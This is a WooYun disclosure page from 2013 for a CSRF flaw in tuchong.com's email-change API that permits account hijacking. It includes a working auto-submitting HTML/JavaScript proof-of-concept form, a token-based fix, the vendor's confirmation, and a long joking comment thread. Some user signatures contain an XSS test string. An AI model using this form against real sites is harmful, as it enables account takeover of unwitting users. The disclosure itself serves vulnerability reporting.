图虫网利用csrf可劫持账号 | wooyun-2013-022895| WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-022895

漏洞标题：图虫网利用csrf可劫持账号

漏洞作者： VIP

提交时间：2013-05-02 11:29

修复时间：2013-06-16 11:29

公开时间：2013-06-16 11:29

漏洞类型：CSRF

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2013-05-02：细节已通知厂商并且等待厂商处理中
2013-05-02：厂商已经确认，细节仅向厂商公开
2013-05-12：细节向核心白帽子及相关领域专家公开
2013-05-22：细节向普通白帽子公开
2013-06-01：细节向实习白帽子公开
2013-06-16：细节向公众公开

简要描述：

详细说明：

修改邮箱处未验证token，可通过一个精心构造的表单来修改用户的邮箱。由于邮箱需要唯一性，所以可以通过一个数组来随机抽取邮箱。

漏洞证明：

POC：

<html>
<body>
<form name="csrf" action="http://tuchong.com/api/user/modify/" method="POST">
<input type=text name=section value="basicinfo"></input>
<script>
var email =['root1@wooyun.org','root2@wooyun.org','root3@wooyun.org','root4@wooyun.org','root5@wooyun.org','root6@wooyun.org','root7@wooyun.org','root8@wooyun.org','root9@wooyun.org','root10@wooyun.org'];
function Rand(arr, len) { 
    arr.sort(function () { 
        return Math.random()-0.5; 
    }); 
    return arr.slice(0, len); 
}
//alert(Rand(email,1));
document.write("<input type=text name=user_email value="+Rand(email,1)+"></input>");
</script>
<input type="submit" value="submit" />
</form>
<script>
	document.csrf.submit();
</script>
</body>
</html>

before:

after:

修复方案：

任何涉及用户信息的操作都应该需要随机的token
求20rank，求礼物。

版权声明：转载请注明来源 VIP@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2013-05-02 13:17

厂商回复：

这位白帽子是个小学六年级的学生，电话打过去是他妈妈接的电话，非常厉害。
这个漏洞黑客需要把用户带到其他网站上才能形成攻击，稍有困难。
我们会增加token检查的。

漏洞评价：

2013-05-02 14:30 | 肥羊宅 ( 路人 | Rank:21 漏洞数:2 | 只是来学习安全知识的……估计抓不出多少漏...)

前排围观小学六年级……死在沙滩上……
2013-05-02 14:34 | fox ( 普通白帽子 | Rank:159 漏洞数:16 | fox)

前排围观小学六年级……死在沙滩上……
2013-05-02 14:44 | YwiSax ( 实习白帽子 | Rank:62 漏洞数:4 | 淡定。)

前排围观小学六年级……死在沙滩上……
2013-05-02 14:50 | Drizzle.Risk ( 普通白帽子 | Rank:255 漏洞数:19 | You have an error in your SQL syntax; ch...)

前排围观小学六年级……死在沙滩上……
2013-05-02 14:51 | deeRix ( 路人 | Rank:11 漏洞数:2 )

前排围观小学六年级……死在沙滩上……
2013-05-02 15:01 | losthacker ( 路人 | Rank:12 漏洞数:1 | 我是好人 (PS:为什么...)

前排围观小学六年级……死在沙滩上……
2013-05-02 15:01 | TestRoot ( 普通白帽子 | Rank:101 漏洞数:19 | sys)

前排围观小学六年级……死在沙滩上……
2013-05-02 15:07 | hacker@sina.cn ( 普通白帽子 | Rank:288 漏洞数:24 | ANONYMOUS)

前排围观小学六年级……死在沙滩上……
2013-05-02 15:12 | s7lx ( 路人 | Rank:4 漏洞数:1 | 前信安技术爱好者，现某移动互联网产品经理)

前排围观小学六年级……死在沙滩上……
2013-05-02 15:24 | 小智 ( 实习白帽子 | Rank:33 漏洞数:5 | 低调低调，学习学习~)

前排围观小学六年级……死在沙滩上……
2013-05-02 15:27 | y4q1an ( 实习白帽子 | Rank:70 漏洞数:11 )

前排围观小学六年级……死在沙滩上……
2013-05-02 15:29 | 松子 ( 实习白帽子 | Rank:45 漏洞数:5 | 无事)

前排围观小学六年级……死在沙滩上……
2013-05-02 15:32 | Panni_007 ( 路人 | Rank:17 漏洞数:10 | 专注于信息安全领域 http://www.panni00...)

前排围观小学六年级……死在沙滩上……
2013-05-02 15:32 | P w ( 实习白帽子 | Rank:72 漏洞数:12 | -这家伙很懒,什么都没有留下。其实我真的很...)

前排围观小学六年级……死在沙滩上……
2013-05-02 15:36 | 渚熏 ( 路人 | Rank:10 漏洞数:4 | interesting.)

前排围观小学六年级……死在沙滩上……
2013-05-02 15:36 | wokao ( 路人 | Rank:8 漏洞数:1 | 郁闷)

中排围观小学六年级……死在沙滩上……
2013-05-02 15:42 | tnt1200 ( 普通白帽子 | Rank:121 漏洞数:11 | 关注飞机安全....)

中排围观小学六年级……死在沙滩上……
2013-05-02 15:44 | 西毒 ( 普通白帽子 | Rank:221 漏洞数:32 | 心存谦卑才能不断超越自我)

中排围观小学六年级……死在沙滩上……
2013-05-02 15:45 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:170 | 力不从心)

中排围观小学六年级……死在沙滩上……
2013-05-02 15:45 | ttvip11 ( 路人 | Rank:2 漏洞数:1 | 这个人很懒，什么都不会)

中排围观小学六年级……死在沙滩上……
2013-05-02 15:50 | xcl0ud ( 路人 | Rank:1 漏洞数:2 )

中排围观小学六年级……死在沙滩上……
2013-05-02 15:51 | 小胖子 ( 核心白帽子 | Rank:1727 漏洞数:125 | 如果大海能够带走我的矮丑...)

前排围观小学六年级……死在沙滩上……
2013-05-02 15:52 | kingdog ( 实习白帽子 | Rank:40 漏洞数:1 | NULL)

中排围观小学六年级……死在沙滩上……
2013-05-02 15:53 | Croxy ( 普通白帽子 | Rank:513 漏洞数:52 | 只会送人头)

后排围观小学六年级……死在沙滩上……
2013-05-02 15:54 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫，我笑世人看不穿~)

后排围观小学六年级……死在沙滩上……
2013-05-02 15:55 | jerre ( 路人 | 还没有发布任何漏洞 | 码农一枚)

前排围观小学六年级……死在沙滩上……
2013-05-02 16:07 | 超人不会飞 ( 实习白帽子 | Rank:85 漏洞数:23 | 好好学习，天天向上!)

后排围观小学六年级……死在沙滩上……
2013-05-02 16:09 | Hxai11 ( 普通白帽子 | Rank:1137 漏洞数:209 | 于是我们奋力向前游，逆流而上的小舟，不停...)

中排围观小学六年级……死在沙滩上……
2013-05-02 16:10 | 钱途 ( 普通白帽子 | Rank:273 漏洞数:44 )

不好意思。队形乱了。
2013-05-02 16:20 | Hxai11 ( 普通白帽子 | Rank:1137 漏洞数:209 | 于是我们奋力向前游，逆流而上的小舟，不停...)

@钱途作死
2013-05-02 16:24 | safefocus ( 路人 | Rank:16 漏洞数:3 | 关注技术与网络安全)

中排围观小学六年级……死在沙滩上……
2013-05-02 16:37 | z7y ( 实习白帽子 | Rank:57 漏洞数:9 | 关注技术与网络安全)

前排围观小学六年级……死在沙滩上……
2013-05-02 16:49 | 淡漠天空 ( 实习白帽子 | Rank:1113 漏洞数:141 | M:出售GOV STATE NSA CIA NASA DHS Symant...)

前排围观小学六年级……死在沙滩上……
2013-05-02 16:50 | thundrous ( 路人 | Rank:0 漏洞数:1 | 生有涯，学无涯也)

后排围观小学六年级……死在沙滩上
2013-05-02 16:54 | 虫子 ( 路人 | Rank:5 漏洞数:1 | 小弟也是大学生)

前排围观小学六年级……死在沙滩上……
2013-05-02 16:55 | 无名小卒 ( 路人 | Rank:10 漏洞数:1 | 我不是黑阔，但我认识的全是黑阔！)

前排围观小学六年级……死在沙滩上……
2013-05-02 16:56 | roofsec ( 普通白帽子 | Rank:151 漏洞数:19 )

后排围观小学六年级……死在沙滩上
2013-05-02 16:56 | 苦战 ( 路人 | Rank:5 漏洞数:3 | 人称苦战？乃南方蛮荒之人！相平，谓正不如...)

前排围观小学六年级……死在沙滩上……
2013-05-02 16:57 | 浮生 ( 路人 | Rank:12 漏洞数:4 | 浮生偷得半日闲)

前排围观小学六年级……死在沙滩上……
2013-05-02 16:58 | 海盗湾V ( 实习白帽子 | Rank:58 漏洞数:9 | Your entire life is online)

前排围观小学六年级……死在沙滩上……
2013-05-02 16:58 | cmdshell ( 实习白帽子 | Rank:40 漏洞数:9 )

前排围观小学六年级……死在沙滩上……
2013-05-02 16:58 | 网络骑士 ( 实习白帽子 | Rank:43 漏洞数:4 | 低调是最NB的炫耀！高调是要被打的征兆！)

后排围观小学六年级……死在沙滩上
2013-05-02 16:59 | 屌丝王爷 ( 路人 | Rank:4 漏洞数:4 | 心境随和些，处事淡然些。)

后排围观小学六年级......死在沙滩上......
2013-05-02 17:00 | shack2 ( 普通白帽子 | Rank:470 漏洞数:71 | QQ:1341413415 一个热爱编程(Java),热爱网...)

长江后浪推前浪，前浪死在沙滩上.......沙滩上......
2013-05-02 17:02 | MEng ( 路人 | Rank:1 漏洞数:2 | 刚接触这个领域、来学习了)

你们这些人啊
2013-05-02 17:03 | 社长 ( 路人 | Rank:20 漏洞数:1 | 网络安全爱好者)

你们这些人啊
2013-05-02 17:04 | VIP ( 普通白帽子 | Rank:759 漏洞数:100 )

你们这些人啊
2013-05-02 17:05 | 三十度 ( 路人 | Rank:0 漏洞数:1 | 本屌精通各种花式撸管，装逼32式炉火纯青。...)

后排围观小学六年级……死在沙滩上……
2013-05-02 17:09 | circus ( 实习白帽子 | Rank:54 漏洞数:4 | 你会为一件事去说一句话,也会为一句话去干...)

前浪死在沙滩上.......沙滩上......
2013-05-02 17:10 | oldsun ( 路人 | Rank:16 漏洞数:4 | 啪啪啪啪啪啪啪啪啪啪啪啪)

后排围观小学六年级......死在沙滩上......
2013-05-02 17:10 | her0ma ( 核心白帽子 | Rank:598 漏洞数:83 | 专注小厂商三十年！)

后排围观小学六年级……死在沙滩上
2013-05-02 17:11 | Chaplin ( 路人 | Rank:2 漏洞数:1 )

后排围观小学六年级......死在沙滩上......
2013-05-02 17:11 | 糗事百科(乌云厂商)

后排围观小学六年级……死在沙滩上
2013-05-02 17:11 | 撸管骚年 ( 路人 | Rank:12 漏洞数:3 | 可以不填吗？)

后排围观小学六年级……我已死在沙滩上……
2013-05-02 17:15 | Ch丶0nly ( 普通白帽子 | Rank:205 漏洞数:43 | 专注网络30年。)

前排围观小学六年级……死在沙滩上……
2013-05-02 17:15 | Drizzle.Risk ( 普通白帽子 | Rank:255 漏洞数:19 | You have an error in your SQL syntax; ch...)

@糗事百科惊现糗百..
2013-05-02 17:15 | 偉哥 ( 实习白帽子 | Rank:67 漏洞数:11 | 哥是没帽子)

前排围观小学六年级……死在沙滩上……
2013-05-02 17:18 | 小贱人 ( 路人 | Rank:4 漏洞数:3 | 资深菜鸟，)

前排围观小学六年级……死在沙滩上……
2013-05-02 17:21 | ‫‌ ( 实习白帽子 | Rank:76 漏洞数:14 )

其实@VIP是女的，你们被骗得好无辜啊。。。
2013-05-02 17:33 | 雨夜 ( 普通白帽子 | Rank:207 漏洞数:30 | 别和我谈感情，太伤钱……)

他妈没准是黑客……
2013-05-02 17:35 | 半世倾尘 ( 路人 | Rank:29 漏洞数:8 | 努力)

其实@VIP是女的，你们被骗得好无辜啊。。。
2013-05-02 17:36 | 牧牧 ( 路人 | 还没有发布任何漏洞 | metasploit学习阶段，在很对大牛的熏陶下正...)

前排围观小学六年级……死在沙滩上……
2013-05-02 17:40 | isxenos ( 实习白帽子 | Rank:71 漏洞数:8 | 也好)

前排围观小学六年级……死在沙滩上……
2013-05-02 17:40 | 毕月乌 ( 普通白帽子 | Rank:120 漏洞数:10 | 猜猜我是谁？)

前排围观小学六年级……死在沙滩上……
2013-05-02 17:43 | Duking ( 路人 | Rank:1 漏洞数:1 | 懒人啦~~)

前排围观小学六年级……死在沙滩上……
2013-05-02 17:43 | 廷廷 ( 路人 | Rank:0 漏洞数:1 | 有很强的好奇心，爱好广泛，求女女带走。。...)

@VIP 给跪了，吓尿了，哭了，我闺女要嫁给你！
2013-05-02 17:43 | 流星warden ( 实习白帽子 | Rank:54 漏洞数:5 | The quieter you become,the more you are ...)

前排围观小学六年级……死在沙滩上……
2013-05-02 17:44 | 乌帽子 ( 路人 | Rank:29 漏洞数:3 | 学习黑客哪家强 | 中国山东找蓝翔 | sql...)

后排围观小学六年级......死在沙滩上......
2013-05-02 17:46 | Clar ( 路人 | Rank:5 漏洞数:2 | 当前无)

后排围观小学六年级......死在沙滩上......
2013-05-02 17:47 | 神九 ( 路人 | Rank:14 漏洞数:3 | 哥在江湖多年,江湖却没有哥的传说.知道为什...)

后排围观小学六年级......死在沙滩上......
2013-05-02 17:48 | isxenos ( 实习白帽子 | Rank:71 漏洞数:8 | 也好)

@VIP 其实就是这位妈妈...谎称是她儿子干的而已.
2013-05-02 17:51 | YangCL ( 路人 | Rank:13 漏洞数:5 | 最温馨的游戏社区)

后排围观小学六年级……死在沙滩上
2013-05-02 17:56 | 孤独雪狼 ( 普通白帽子 | Rank:710 漏洞数:64 | 七夕手机被偷，这坑爹的七夕啊。。。。)

后排围观小学六年级……死在沙滩上
2013-05-02 17:57 | 爹 ( 路人 | Rank:17 漏洞数:4 | 想...想活捉一枚处男...ing...)

我听说过这个报道后来这个人死了
2013-05-02 18:07 | Icyblade ( 实习白帽子 | Rank:46 漏洞数:5 | ~)

后排围观小学六年级……死在沙滩上
2013-05-02 18:10 | erevus ( 普通白帽子 | Rank:177 漏洞数:30 | Hacked by @ringzero 我錯了)

后排围观小学六年级……死在沙滩上
2013-05-02 18:24 | seul ( 路人 | Rank:0 漏洞数:1 | 寻求引路人 Soga.)

首先插个楼，顺带膜拜下小学六年级白帽子!
2013-05-02 18:24 | Artorus ( 路人 | Rank:24 漏洞数:4 | 学习交流为主)

后排围观小学六年级……死在沙滩上
2013-05-02 18:35 | tSt ( 路人 | Rank:27 漏洞数:3 | 在开发里运维最强，运维里网络最强，网络里...)

后排围观小学六年级……死在沙滩上……
2013-05-02 18:37 | 专业查水表 ( 路人 | Rank:1 漏洞数:5 | "><script>alert(/我是"J.L"的大号/);</scr...)

后后排围观小学六年级……死在沙滩上……
2013-05-02 18:37 | 猥琐 ( 路人 | Rank:6 漏洞数:2 | 学习什么的最重要！)

最后围观小学六年级……死在沙滩上
2013-05-02 18:40 | abcdlzy ( 实习白帽子 | Rank:79 漏洞数:14 | 好好学习，天天向上。)

最后最后排围观小学六年级……死在沙滩上
2013-05-02 19:12 | 小威 ( 普通白帽子 | Rank:492 漏洞数:67 | 活到老，学到老!)

最最后排围观小学六年级......死在沙滩上......
2013-05-02 19:13 | Terry ( 实习白帽子 | Rank:60 漏洞数:7 )

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
2013-05-02 19:17 | 小胖子 ( 核心白帽子 | Rank:1727 漏洞数:125 | 如果大海能够带走我的矮丑...)

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
2013-05-02 19:26 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘，缘分写在数据库里面。)

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
2013-05-02 19:30 | Stefan ( 路人 | Rank:10 漏洞数:2 | 一个胖子而已……)

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
2013-05-02 19:30 | 噬水寒 ( 路人 | Rank:0 漏洞数:1 | 一生放荡不羁爱搞基)

前排围观小学六年级……死在沙滩上……
2013-05-02 19:40 | whking ( 路人 | Rank:14 漏洞数:4 | 诚实守信，与人为善！)

前排围观小学六年级……死在沙滩上……
2013-05-02 19:41 | 0x7c ( 路人 | Rank:4 漏洞数:4 | 我的0day用完了)

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
2013-05-02 19:46 | LaTCue ( 普通白帽子 | Rank:105 漏洞数:24 | 满脑子的艺术细菌，当然，是人体艺术。)

前排围观小学六年级……死在沙滩上……
2013-05-02 19:52 | 坏虾 ( 路人 | Rank:28 漏洞数:5 | From Internet,For Internet……BY：坏虾)

怎么那么多队形，让我怎么回复？？
2013-05-02 19:59 | jdnehc ( 实习白帽子 | Rank:76 漏洞数:12 )

前排围观小学六年级……死在沙滩上……
2013-05-02 20:04 | zsx ( 路人 | Rank:0 漏洞数:3 | undefined)

最最后排围观小学六年级......死在沙滩上......
2013-05-02 20:12 | 专业查水表 ( 路人 | Rank:1 漏洞数:5 | "><script>alert(/我是"J.L"的大号/);</scr...)

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
2013-05-02 20:15 | 啦绯哥 ( 普通白帽子 | Rank:107 漏洞数:19 )

看看热闹
2013-05-02 20:15 | evil_root ( 路人 | Rank:7 漏洞数:3 | 小菜)

前排围观小学六年级……死在沙滩上……
2013-05-02 20:30 | 哈利油 ( 路人 | Rank:0 漏洞数:1 | 帅不能当饭吃唉)

后排围观小学六年级……死在沙滩上
2013-05-02 20:32 | VIP ( 普通白帽子 | Rank:759 漏洞数:100 )

@isxenos 亲，你可以去问图虫网，也给我打了电话啊
2013-05-02 20:45 | blight ( 路人 | Rank:5 漏洞数:1 | 初次见面，请多关照)

后排围观小学六年级……死在沙滩上
2013-05-02 20:48 | 我了个去 ( 普通白帽子 | Rank:139 漏洞数:14 | 4892057@qq.com ...)

后排围观小学六年级……死在沙滩上
2013-05-02 20:50 | whirlwind ( 实习白帽子 | Rank:34 漏洞数:7 | 极光肖风)

趁着年轻好好玩玩吧，十八岁就收手吧后排围观小学六年级......死在沙滩上......
2013-05-02 21:09 | F1n9er ( 路人 | Rank:0 漏洞数:2 | 、)

前排围观小学六年级……死在沙滩上……
2013-05-02 21:11 | 老雷 ( 路人 | Rank:13 漏洞数:2 | 杂牌程序员。)

后排围观小学六年级……死在沙滩上
2013-05-02 21:20 | Master ( 路人 | Rank:29 漏洞数:6 )

后排围观小学六年级……死在沙滩上
2013-05-02 21:23 | jeffreys125 ( 实习白帽子 | Rank:63 漏洞数:14 | 懒人。。)

后排围观小学六年级……死在沙滩上
2013-05-02 21:41 | knickers ( 路人 | Rank:11 漏洞数:6 | 偶是一个大帅哥)

后排围观小学六年级......死在沙滩上......本年度乌云回复最多漏洞，，，就这个了吧，，，，，，，，，勾引出无数大牛，，
2013-05-02 21:54 | LittlePig ( 路人 | Rank:5 漏洞数:2 | </html>)

远距离围观小学六年级……死在沙滩上……
2013-05-02 22:14 | 专业种田 ( 核心白帽子 | Rank:1425 漏洞数:165 | 没有最专业的农民,只有更努力地耕耘..........)

六年级，这......太能留级了。
2013-05-02 22:28 | Demon ( 普通白帽子 | Rank:121 漏洞数:14 | You are my dream)

远距离围观小学六年级……死在沙滩上……
2013-05-02 23:05 | DM_ ( 实习白帽子 | Rank:72 漏洞数:15 )

远距离围观小学六年级……死在沙滩上…… 无论如何,我都不相信这个事实.太打击人了.
2013-05-02 23:13 | 低调的瘦子 ( 普通白帽子 | Rank:466 漏洞数:57 | loading……………………)

现在才来！！其实我是顶楼的骚年！！！围观下去！！
2013-05-02 23:38 | 双人份 ( 路人 | Rank:8 漏洞数:3 | 打发点咯)

远距离围观小学六年级……死在沙滩上……
2013-05-02 23:41 | z7y ( 实习白帽子 | Rank:57 漏洞数:9 | 关注技术与网络安全)

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
2013-05-02 23:42 | z7y ( 实习白帽子 | Rank:57 漏洞数:9 | 关注技术与网络安全)

真相在这里： VIP的媳妇接的电话,逗厂商玩的,没想到闹了那么大个乌龙- - @VIP 基友你好坏！
2013-05-02 23:44 | 双人份 ( 路人 | Rank:8 漏洞数:3 | 打发点咯)

@z7y 没有jb你说个图啊，上图啊
2013-05-02 23:55 | 顺子 ( 普通白帽子 | Rank:236 漏洞数:36 | 0-0努力像正常青年靠近，再也不当上错图的2...)

远距离围观小学六年级……死在沙滩上…… 无论如何,我都不相信这个事实.太打击人了.
2013-05-02 23:59 | Mujj ( 实习白帽子 | Rank:58 漏洞数:4 | IDC商)

远距离围观小学六年级……死在沙滩上…… 无论如何,我都不相信这个事实.太打击人了.
2013-05-03 00:04 | 小胖子 ( 核心白帽子 | Rank:1727 漏洞数:125 | 如果大海能够带走我的矮丑...)

远距离围观小学六年级……死在沙滩上…… 无论如何,我都不相信这个事实.太打击人了.
2013-05-03 00:11 | Blackeagle ( 实习白帽子 | Rank:62 漏洞数:10 | 向WooYun致敬)

告诉你们一个秘密其实马甲都是我的
2013-05-03 01:18 | LittlePig ( 路人 | Rank:5 漏洞数:2 | </html>)

@土豆网你可以瞑目了
2013-05-03 02:08 | 断七 ( 路人 | Rank:0 漏洞数:1 | 小心翼翼过2012。。。。)

大过年的, 把大伙逗的真开心!~~
2013-05-03 07:04 | z@cx ( 普通白帽子 | Rank:434 漏洞数:44 | 。-。-。)

前排围观小学六年级……死在沙滩上……
2013-05-03 08:27 | 冉冉升起 ( 路人 | Rank:12 漏洞数:6 | ...)

@mujj @小胖子相信我么。
2013-05-03 09:31 | SunnyJay ( 路人 | Rank:11 漏洞数:1 | 专业打酱油~)

死在沙滩上……继续围观小学六年级……
2013-05-03 09:33 | O.o ( 普通白帽子 | Rank:105 漏洞数:12 | ส็็็็็็็็็็็็็็็็็็็...)

前排围观小学六年级……死在沙滩上……
2013-05-03 10:06 | HuGtion ( 实习白帽子 | Rank:70 漏洞数:10 | 学习安全技术。)

前排围观小学六年级……死在沙滩上……
2013-05-03 10:26 | null ( 路人 | Rank:15 漏洞数:2 | 左岸是无法忘却的回忆，右岸是值得把握的青...)

后排围观小学六年级……死在沙滩上…
2013-05-03 10:35 | 党中央 ( 路人 | Rank:24 漏洞数:4 | 中国共产党全国代表大会产生的中央权力机构...)

大后排俄罗斯军用侦查望远镜远距离围观小学六年级……死在沙滩上…
2013-05-03 11:12 | 卖咸鱼 ( 路人 | Rank:8 漏洞数:2 | 专业卖咸鱼)

恭喜某方炒作成功！
2013-05-03 11:13 | 卖咸鱼 ( 路人 | Rank:8 漏洞数:2 | 专业卖咸鱼)

眼球经济，乌云，图虫都要火了，建议二次推手。
2013-05-03 11:19 | 黑洞麒麟 ( 路人 | Rank:7 漏洞数:1 | 在校学生，小菜一个。)

前排围观小学六年级……死在沙滩上……
2013-05-03 12:13 | Deep ( 路人 | Rank:1 漏洞数:1 | 一个小白.想要变小黑.)

后排围观小学六年级……死在沙滩上好多回。。。
2013-05-03 12:49 | Enjoy_Hacking ( 实习白帽子 | Rank:84 漏洞数:8 | 时间无言，如此这般。)

前排围观小学六年级……死在沙滩上……
2013-05-03 12:50 | d3pT1 ( 路人 | Rank:1 漏洞数:2 | 人法地，地法天，天法道，道法自然。)

后排围观小学妹子六年级……死在沙滩上……
2013-05-03 12:50 | 傻傻滴 ( 路人 | Rank:3 漏洞数:2 | 求媳妇！)

前排围观小学六年级……死在沙滩上……
2013-05-03 12:59 | 点点 ( 普通白帽子 | Rank:214 漏洞数:38 | 准备申请سمَـَّوُوُحخ ̷̴̐...)

前排围观小学六年级……死在沙滩上……
2013-05-03 13:26 | 煦阳。 ( 普通白帽子 | Rank:134 漏洞数:27 | 这个人很懒，什么都没留下。)

后排围观小学六年级……死在沙滩上……
2013-05-03 13:29 | 聆听 ( 路人 | Rank:8 漏洞数:3 | why are you so diao ！)

后排围观小学六年级……死在沙滩上……
2013-05-03 13:40 | 雪慧飞 ( 路人 | Rank:25 漏洞数:5 | print “hello word”)

前排围观小学六年级……死在沙滩上……
2013-05-03 13:46 | 5inb4d ( 路人 | Rank:5 漏洞数:1 | 飞雪连天射白鹿笑书神侠倚碧鸳！)

后排围观小学六年级……死在沙滩上
2013-05-03 14:00 | charles ( 路人 | Rank:6 漏洞数:4 | 研究web安全,0day,漏洞挖掘,关注国内安全动...)

中排围观小学六年级……死在沙滩上……
2013-05-03 16:24 | 雨路 ( 实习白帽子 | Rank:42 漏洞数:7 | 卡牌大师刘谦、大发明家爱迪生、首领之傲金...)

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
2013-05-03 18:15 | 残影小L ( 路人 | Rank:12 漏洞数:3 | 我还是我。)

前排围观小学六年级……死在沙滩上……
2013-05-03 18:45 | scan_z ( 路人 | Rank:8 漏洞数:4 | /home/work/newsphp/newsroot/temp/smarty/...)

前排围观小学六年级……死在沙滩上……
2013-05-03 19:10 | z@cx ( 普通白帽子 | Rank:434 漏洞数:44 | 。-。-。)

前排围观小学六年级……楼下全是我马甲……
2013-05-03 19:22 | 小胖子 ( 核心白帽子 | Rank:1727 漏洞数:125 | 如果大海能够带走我的矮丑...)

前排围观小学六年级……楼下全是我马甲……
2013-05-03 19:29 | iveylowes ( 路人 | Rank:0 漏洞数:2 )

后排围观小学六年级……死在沙滩上……
2013-05-03 19:42 | 小黑要低调 ( 实习白帽子 | Rank:47 漏洞数:4 | 小黑一枚)

彻底火了。。。。
2013-05-03 19:51 | 偉哥 ( 实习白帽子 | Rank:67 漏洞数:11 | 哥是没帽子)

后排围观小学六年级……死在沙滩上……
2013-05-03 19:55 | knife ( 普通白帽子 | Rank:155 漏洞数:24 | 抬枪上御女，提臀迎众基。)

前排围观小学六年级……死在沙滩上……
2013-05-03 20:02 | 陌路 ( 路人 | Rank:8 漏洞数:4 | 安全爱好者！)

中排围观小学六年级……死在沙滩上……
2013-05-03 20:08 | luom ( 实习白帽子 | Rank:37 漏洞数:9 | 90sec老油条专注渗透，Linux，code)

哈勃望远镜围观小学六年级……死在沙滩上……
2013-05-03 20:18 | 巨鲸中国 ( 路人 | Rank:16 漏洞数:1 )

千里眼围观小学六年级……死在沙滩上……
2013-05-03 20:33 | rasca1 ( 实习白帽子 | Rank:53 漏洞数:16 | 菜鸟一只)

后后排围观小学六年级……死在沙滩上……
2013-05-03 23:06 | momo ( 实习白帽子 | Rank:91 漏洞数:24 | ★精华漏洞数:24 | WooYun认证√)

前排围观小学六年级……死在沙滩上……
2013-05-04 07:35 | x1aoh4i ( 普通白帽子 | Rank:403 漏洞数:62 )

前排围观小学六年级死在沙滩上
2013-05-04 09:08 | As0n ( 路人 | Rank:4 漏洞数:3 | 我是技术宅，求交流，求基友)

后后排围观小学六年级……死在沙滩上……
2013-05-04 10:47 | 锁相环 ( 路人 | Rank:4 漏洞数:3 | NULL)

末排围观小学六年级……死在沙滩上……
2013-05-04 13:33 | 性感的蛐蛐 ( 路人 | Rank:0 漏洞数:2 | 少年,母猪喊你回家拱地!)

前排围观小学六年级……死在沙滩上…… &~(保持队形)
2013-05-04 14:01 | 承诺 ( 路人 | Rank:17 漏洞数:1 | 你关注的漏洞发表了白帽子)

后后排围观小学六年级……死在沙滩上……
2013-05-04 14:09 | F4K3R ( 普通白帽子 | Rank:297 漏洞数:25 | 学习)

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
2013-05-04 16:02 | CplusHua ( 普通白帽子 | Rank:238 漏洞数:10 | 乌云奖金:-1)

后后后后后排围观小学六年级……死在沙滩上……
2013-05-04 19:34 | 冰刀 ( 实习白帽子 | Rank:32 漏洞数:3 )

后后后后后排围观小学六年级……死在沙滩上……
2013-05-04 19:34 | 小土豆 ( 普通白帽子 | Rank:129 漏洞数:22 )

后后后后后排围观小学六年级……死在沙滩上……
2013-05-04 20:29 | xy小雨 ( 普通白帽子 | Rank:171 漏洞数:47 | 成为海贼王的男人)

后后后后后排围观小学六年级……死在沙滩上……
2013-05-04 20:42 | 3King ( 普通白帽子 | Rank:1129 漏洞数:81 | 【study at HNUST】非常感谢大家的关注~ 大...)

后后排围观小学六年级……死在沙滩上……
2013-05-04 21:54 | Worzm ( 路人 | 还没有发布任何漏洞 )

太年轻
2013-05-04 21:55 | 法海 ( 路人 | Rank:26 漏洞数:4 | 许仙去哪了)

后后后后后后排围观小学六年级……死在沙滩上……
2013-05-04 21:58 | 马杀鸡 ( 路人 | Rank:21 漏洞数:5 | 作为一匹勇敢的马，杀鸡是必不可少的)

好吧，我最后围观小学六年级……死在沙滩上，结贴。。。。。。
2013-05-04 22:02 | ( 路人 | Rank:17 漏洞数:3 | 博客寻友链 http://imlonghao.com/)

后排围观小学六年级……我已死在沙滩上……
2013-05-04 22:04 | imlonghao ( 普通白帽子 | Rank:730 漏洞数:74 )

后排围观小学六年级……我已死在沙滩上……
2013-05-04 22:06 | 小胖子 ( 核心白帽子 | Rank:1727 漏洞数:125 | 如果大海能够带走我的矮丑...)

后排围观小学六年级……我已死在沙滩上……
2013-05-05 14:59 | 李白 ( 普通白帽子 | Rank:142 漏洞数:27 )

你们有所不知，其实我也是六年级的
2013-05-05 15:10 | QQ852451559 ( 实习白帽子 | Rank:79 漏洞数:18 | 学生党)

后排围观小学六年级……死在沙滩上……
2013-05-06 13:40 | 陈再胜 ( 普通白帽子 | Rank:121 漏洞数:13 | 微博收收听~~~●﹏●)

后排围观小学六年级……死在沙滩上……
2013-05-06 21:18 | 0x7575 ( 实习白帽子 | Rank:62 漏洞数:15 )

前排围观小学六年级……死在沙滩上……
2013-05-07 23:47 | 法客人鬼神 ( 路人 | Rank:6 漏洞数:1 | 一直坚持吧，少年！)

前排围观小学六年级
2013-05-08 11:50 | 有关部门 ( 路人 | Rank:4 漏洞数:4 | 没错，我是代表爱和正义的有关部门！)

不会是因为一直做程序开发留级了吧。。。。
2013-05-08 19:55 | 邪少 ( 实习白帽子 | Rank:58 漏洞数:7 )

六年级。。真的假的啊。。
2013-05-09 13:07 | blast ( 普通白帽子 | Rank:348 漏洞数:57 | 五仁委员会)

小学六年级………………趴了………………
2013-05-11 19:34 | 戏子_AINI ( 路人 | Rank:21 漏洞数:7 | 我是一只小小小小鸟，想要飞却飞也飞不高。...)

后排围观小学六年级……死在沙滩上
2013-05-12 01:42 | 0x7575 ( 实习白帽子 | Rank:62 漏洞数:15 )

少年，你太年轻了！你以为乌云真的有这么多人回复？其实都是我一个人不信我再换个马甲发个
